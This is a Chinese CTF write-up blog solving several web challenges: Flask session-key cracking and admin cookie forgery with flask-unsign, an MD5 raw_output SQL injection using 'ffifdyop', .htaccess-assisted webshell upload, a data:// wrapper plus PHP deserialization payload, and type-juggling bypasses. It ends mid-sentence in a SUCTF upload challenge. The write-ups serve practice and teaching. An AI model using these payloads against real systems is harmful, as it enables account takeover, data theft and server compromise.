然后正常的注册的登录注册也看不出什么东西,直到我抓着包又走了一遍流程就看见了这里其实是有cookie的:

image-20260413195330942

那么很显然这里应该是session伪造什么的操作了,我一开始在做的时候怎么做都不成功,后面去网上看了下wp才知道这题有问题啊,这里本来是会有一个代码审计的环节,我们在登陆之后去到post页面会看见一个github网址我们去访问一下就能看见这个网页的源代码,在那个里面进行一个简单的代码审计,可是我现在去那个页面啥玩意都没,可能时间太久远了,这里的代码审计就直接拿wp里面的

通过给出链接去github(此时github上原链接已经删掉了)下载源码后,通过对源码架构分析我们可以知道这是个flask的架构,并且可以在源码里发现一些关键信息,路径如下:

1
2
hctf_flask-master\app\templates\index.html
hctf_flask-master\app\config.py

第一个发现如下:

1
2
3
4
5
6
7
8
9
10
11
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

第二个发现如下:

1
2
3
4
5
6
import os

class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

最最关键的两行就是:

1
2
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>

current_user.is_authenticated的意思就是要求用户必须处于登录状态,后面那个就是要求我们的name是admin,然后我们在上面的第二个发现是可以看见sercret_key的,但是我第一次做是直接拿flask-unsign爆破的:

1
2
3
4
                                                                                                     
┌──(kali㉿kali)-[~]
└─$ flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie ".eJw9j8FqwzAQRH-l6NxDLCeXQA4OwkKGXeGgxKwuIXFTW2s7hbbgWCH_XreFXOfBm5m7OIY3sb6Ll7NYC6-61GrP6A6BeDtghQNEk4CkG7h9BDYpcSZRtQEkJFbDCC4bqcoZVD15dWDgJnouOnLNEhylwAVbXU6oaIXaTL7aT1CVEirsfv1W7wJoSEkWLbly5RVFkGZpKzN7TWodJRSzBbKJGPOeuJ6zZiMer6L--nw_fn90l-vzglX7m2e4YdwG77bDXLdAmfdW9b3nNswTImjsUe5a0Hnnh6KnZvOnC8OpuTxNeCh8Pf6T62mYgUjE4wfgr2Gr.ady3lw._WKUHwbygHqcGrcTxglNxhoycxs"

这是第一次直接爆破的情况,但是这样是会报错的,简而言之其实就是flask-unsign会自动把数字转成int但是后端要求的必须是字符串我们只需要 加上一个–no-literal-eval强制要求不允许转换就可以了:

1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie ".eJw9j8FqwzAQRH-l6NxDLCeXQA4OwkKGXeGgxKwuIXFTW2s7hbbgWCH_XreFXOfBm5m7OIY3sb6Ll7NYC6-61GrP6A6BeDtghQNEk4CkG7h9BDYpcSZRtQEkJFbDCC4bqcoZVD15dWDgJnouOnLNEhylwAVbXU6oaIXaTL7aT1CVEirsfv1W7wJoSEkWLbly5RVFkGZpKzN7TWodJRSzBbKJGPOeuJ6zZiMer6L--nw_fn90l-vzglX7m2e4YdwG77bDXLdAmfdW9b3nNswTImjsUe5a0Hnnh6KnZvOnC8OpuTxNeCh8Pf6T62mYgUjE4wfgr2Gr.ady3lw._WKUHwbygHqcGrcTxglNxhoycxs" --no-literal-eval
[*] Session decodes to: {'_id': b'd978fc55bb0f5cf3253f1153227b0648b3c58c0100aac072d5c283f2da8816722c8d24694b2ee21d61cd5cf8db0c7cbaa49d633b89b0ab7965c0462371eb7798', 'csrf_token': b'851f3170be0fee47ae89ef8b4b30ce7da0adfbeb', 'image': b'5RYs', 'name': '1'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 1912960 attemptsg22xerzmaaaa
b'ckj123'

这里就得到密钥是ckj123

这里还是使用的是flask-unsign工具操作

1
2
3
4
5
                                                                                                     
┌──(kali㉿kali)-[~]
└─$ flask-unsign --decode --cookie ".eJw9kMGKwjAURX9leGsXbaobwUWHaEjhpeikhpeNaKe2Ta0DVek04r9PdcDtPXAu995hd-yKSwXza3crJrCrv2F-h48DzMHyJkqFdUpva3KfrTKqRS9DZPSLOvPoZEQuZopXNTIMU4E96rgns3LI88HyrUNXeuuShnQ5RU0RusSlYj0oTjMl5GBNNqBZMzSqefpTsalRYEQsqUivZ5aTRyanqZGjV0apppB8HCgnvfKrE7l8zMoFPCaQX7rj7vrTFOf3BOWSmtjmhDzzxLJI-YYpnw8o5Iz8c5YMVLvsya_G2mxqzbLHePHS1e2-LN6mzTnBr_6fnPftCCCECdwuRff6DMIAHn_cOGpj.adzCoA.vjrxO1Qf_s0MTXjiDUYpHRQtJ7w"
{'_fresh': True, '_id':'b'd978fc55bb0f5cf3253f1153227b0648b3c58c0100aac072d5c283f2da8816722c8d24694b2ee21d61cd5cf8db0c7cbaa49d633b89b0ab7965c0462371eb7798', 'csrf_token': b'62bcde053ce77967720b9c5bb246a0c1b0e8ea00', 'image': b'FrLK', 'name': '1', 'user_id': '10'}

这一步简要讲一下用法:

decode就是解码,cookie就是说后面的数据是来自于cookie的

上面我们还拿到了密钥,我们直接来伪造:

1
2
3
4
(kali㉿kali)-[~]
└─$ flask-unsign --sign --cookie "{'_fresh': True, '_id': b'd978fc55bb0f5cf3253f1153227b0648b3c58c0100aac072d5c283f2da8816722c8d24694b2ee21d61cd5cf8db0c7cbaa49d633b89b0ab7965c0462371eb7798', 'csrf_token': b'62bcde053ce77967720b9c5bb246a0c1b0e8ea00', 'image': b'FrLK', 'name': 'admin', 'user_id': '10'}
" --secret "ckj123"
.eJw9kMGKwjAURX9leGsXNtWN4KJDNKTwUnRSy8umOLXWpLYDVek04r9PdcDtPXAu994hP3bl5QSLa3crJ5DbAyzu8PENCzC8DhNhnNI7S-6zUZlq0MsAGf2iTj06GZKLmOIniwyDRGCPOuopWzvkxWD4zqGrvHFxTbqaoaYQXewSsRkUp7kScjBZOmC2YZip-ulPxNaiwJBYfCK9mRtOHpmcJZkcvTJMNAXko6ly0iu_PpMrxqxawmMCxaU75tefumzfE5SLLbHtGXnqiaWh8jVTvhhQyDn55yw5Vc2qJ78ea9OZyVY9RsuXzjb7qnybtm2MX_0_affNCGB_aGwLE7hdyu71GwRTePwBlt1sOw.adzDKQ.xvBa6eVMesLh-WS2eJYlbGdY0Mg

注意要把名字改成admin

我们登陆之后刷新抓包改cookie就拿到了:

![截屏2026-04-13 20.08.04](../my-blog/source/images/ctf/刷题/截屏2026-04-13 20.08.04.png)

[BJDCTF2020]Easy MD5(MD5 raw_output SQL 注入漏洞(或 MD5 Raw 漏洞)—-select * from ‘admin’ where password=md5($pass,true)以及md5强弱比较)

进入题目就是一个输入框:

image-20260413204946321

直接在这里输入还是没什么东西,抓包走了一遍之后就会看见

image-20260413205034540

这里就遇见新东西了,MD5 raw_output SQL 注入漏洞(或 MD5 Raw 漏洞)

在我们平时遇到的md5函数通常是只有一个参数的:

1
md5($a)

但是md5函数是可以接受两个参数的

1
md5(你要加密的字符串, raw_output)

raw_output 的意思是“输出原始二进制格式”。它的默认值是 false(也就是上面那种安全的 32 位字符串)。 如果一旦把它设置成 true,PHP 就会做一件极其粗暴的事情:

它会把刚才那 32 个安全的字母数字,每 2 个切成一组,然后强行把它们转换成键盘上的符号

大致的流程就是程序会先对字符串进行md5加密,加密之后两个两个分组并且对照ascii表转换为键盘上的字符

面对这种md5参数设置为了true的情况我们一般都是用以下进行绕过:

1
ffifdyop

第一步:普通的 MD5 加密 它先在内部算出了 32 位的安全字符串:276f722736c95d99e9...

第二步:因为有了 true,PHP 开始强行切割 它把上面的字符串每两位切开:27、6f、72、27、36、c9…

第三步:对照 ASCII 码表,强行变身 PHP 会拿着这些两位数的代码,去查电脑底层的字符表(ASCII 码表),把它们变成对应的符号:

  • 查表:27 对应的符号是 ->' (单引号)
  • 查表:6f 对应的符号是 -> o
  • 查表:72 对应的符号是 -> r
  • 查表:27 对应的符号是 -> ' (单引号)
  • 查表:36 对应的符号是 -> 6
  • 查表:c9 对应的符号是 -> [电脑无法显示的乱码]

最终结果: 当你写下 md5('ffifdyop', true) 的时候,这个函数吐出来的内容,不再是刚才那长串安全的字母数字了,而是变成了: 'or'6[一堆乱码]

所以回到最初的hint就会变成:

1
select * from 'admin' where password=''or'6[后面全是乱码]'

or的右边是非0数字直接就是真,这里我们就绕过了这里,进入第二关:

image-20260413205850838

MD5弱比较不多说:

1
?a=s155964671a&b=s878926199a

然后进入第三关

image-20260413210026965

强比较数组绕过

image-20260413203530286

[MRCTF2020]你传你🐎呢(.htaccess->polar困难—>上传)

这是一道非常基础的文件上传的题目,首先进入题目就是一个文件上传的页面:

image-20260414151437828

简单的测试一下就会发现,这里题目只允许我们上传jpg文件(也许png也行),上传php后缀就会被拦截,那这里就可以想到我们直接拿.htaccess文件上传之后把jpg文件当做php解析

image-20260414151717382

然后上传带有一句话木马的jpg文件就可以了

image-20260414151742968

image-20260414151810723

[ZJCTF 2019]NiZhuanSiWei(data伪协议)

进入题目直接就是源码:

image-20260414161338894

先来看第一关,要求file_get_contents函数里text的值是一串字符串,我们这里不能直接给text传参那一串字符,因为这个函数里是检测文件路径格式的,直接传字符串会无效,这里直接拿data伪协议就可以了

1
?text=data://text/plain,welcome to the zjctf

然后继续往下这里要我们包含useless.php,我们伪协议去读一下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

下面还有对password反序列化的操作,那我们这里肯定就是要利用flag这个类了

写一下exp:

1
2
3
4
5
6
7
<?php
class Flag {
public $file = "flag.php";
}
echo serialize(new Flag());
/O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?>

然后把payload拼接在一起:

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"flag":1:{s:4:"file";s:8:"flag.php";}

打开网页源代码就看见flag了

[极客大挑战 2019]BuyFlag(弱比较绕过,科学计数法)

进入题目之后到到达一个主页,没什么东西,我们点进pay页面的源码就能看见东西了

image-20260414165654650

这里就是使用post传参,其实这里很简单直接就是一个弱比较,这里上面要求我们输入的不能是纯数字但是要求我们输入的是404,这里是弱比较我们瞎加个字母在后面

1
404a

然后就是给money传了,不能直接传10000000000啥的一大串,会显示太长,直接科学计数法

想起来这里还有一个点就是这里一开始user是等于0的,我一开始一直想的是在这里把user改成cuit啥的结果后面才知道这个0还有false的意思我们要改成1让它true一下

image-20260414165535579

[SUCTF 2019]CheckIn(.user.ini+传马遇见检测文件头的函数exif_imagetype()绕过)

首先进入题目知道这里是一道文件上传的题目:

image-20260414220250618

我们进行一些见简单的测试,进行一下信息的汇总:
1.不允许我们直接上传php后缀的文件,上传php文件会提示我们违法

2.不允许我们上传的jpg文件中存在<?,这个倒是简单,直接拿